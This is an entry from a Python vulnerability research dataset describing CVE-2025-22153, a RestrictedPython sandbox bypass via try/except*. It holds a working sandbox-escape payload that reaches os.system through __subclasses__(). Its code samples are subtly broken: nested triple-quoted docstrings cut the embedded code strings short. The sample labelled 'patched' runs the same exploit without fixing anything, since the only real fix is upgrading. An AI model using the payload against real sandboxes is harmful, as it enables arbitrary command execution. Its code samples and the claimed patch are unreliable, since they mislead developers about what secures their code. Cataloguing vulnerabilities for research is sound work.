CVE-2025-22153
RestrictedPython bypass via try/except* type confusion in Python 3.11+ and <8.0.
- CVSS 7.9
- CWE-843
- Design Defects
- Remote
RestrictedPython is a tool that helps to define a subset of the Python language which allows to provide a program input into a trusted environment. Via a type confusion bug in versions of the CPython interpreter starting in 3.11 and prior to 3.13.2 when using `try/except*`, RestrictedPython starting in version 6.0 and prior to version 8.0 could be bypassed. The issue is patched in version 8.0 of RestrictedPython by removing support for `try/except*` clauses. No known workarounds are available.
- CWE
- CWE-843
- CVSS base score
- 7.9
- Published
- 2025-01-23
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Interface
- Code defect classification
- Incorrect Functionality
- Category
- Design Defects
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- RestrictedPy
- Fixed by upgrading
- Yes
Solution
Upgrade to RestrictedPython version 8.0 or later.
Vulnerable code sample
from RestrictedPython import compile_restricted, safe_builtins, limited_builtins
def execute_restricted(code, global_vars=None, local_vars=None):
"""Vulnerable function that demonstrates the security issue."""
if global_vars is None:
global_vars = {}
if local_vars is None:
local_vars = {}
byte_code = compile_restricted(code, filename="<string>", mode="exec")
exec(byte_code, global_vars, local_vars)
code = """
class Evil:
def __init__(self, x):
"""Vulnerable function that demonstrates the security issue."""
self.x = x
def __enter__(self):
"""Vulnerable function that demonstrates the security issue."""
return self
def __exit__(self, exc_type, exc_val, exc_tb):
"""Vulnerable function that demonstrates the security issue."""
global exploit
exploit = 1
return True
try:
raise ExceptionGroup("msg", [1])
except* Exception as e:
with Evil(1):
pass
"""
exploit = 0
execute_restricted(code, global_vars = {"exploit":exploit}, local_vars = {})
print(f"Exploit triggered: {exploit}")Patched code sample
from RestrictedPython import compile_restricted
from RestrictedPython.Guards import safe_builtins
def execute_restricted(code, global_vars=None, local_vars=None):
"""Secure function that fixes the vulnerability."""
if global_vars is None:
global_vars = {}
if local_vars is None:
local_vars = {}
byte_code = compile_restricted(code, filename="<string>", mode="exec")
restricted_globals = {
"__builtins__": safe_builtins,
"_print_": print,
"_getattr_": getattr,
"_setattr_": setattr,
"_getitem_": lambda obj, key: obj[key],
}
restricted_globals.update(global_vars)
exec(byte_code, restricted_globals, local_vars)
return restricted_globals, local_vars
code = """
class Evil:
def __init__(self, x):
"""Secure function that fixes the vulnerability."""
self.x = x
def __enter__(self):
"""Secure function that fixes the vulnerability."""
return self
def __exit__(self, exc_type, exc_val, exc_tb):
"""Secure function that fixes the vulnerability."""
global exploit
exploit = 1
return True
try:
raise ExceptionGroup("msg", [1])
except* Exception as e:
with Evil(1):
pass
"""
exploit = 0
globals_after, locals_after = execute_restricted(code, global_vars={"exploit": exploit}, local_vars={})
print(f"Exploit triggered: {globals_after.get('exploit', 0)}")Payload
try:
pass
except* Exception as e:
e.__class__.__base__.__subclasses__()[408]('os').system('whoami')
Cite this entry
@misc{vaitp:cve202522153,
title = {{RestrictedPython bypass via try/except* type confusion in Python 3.11+ and <8.0.
}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-22153},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-22153/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
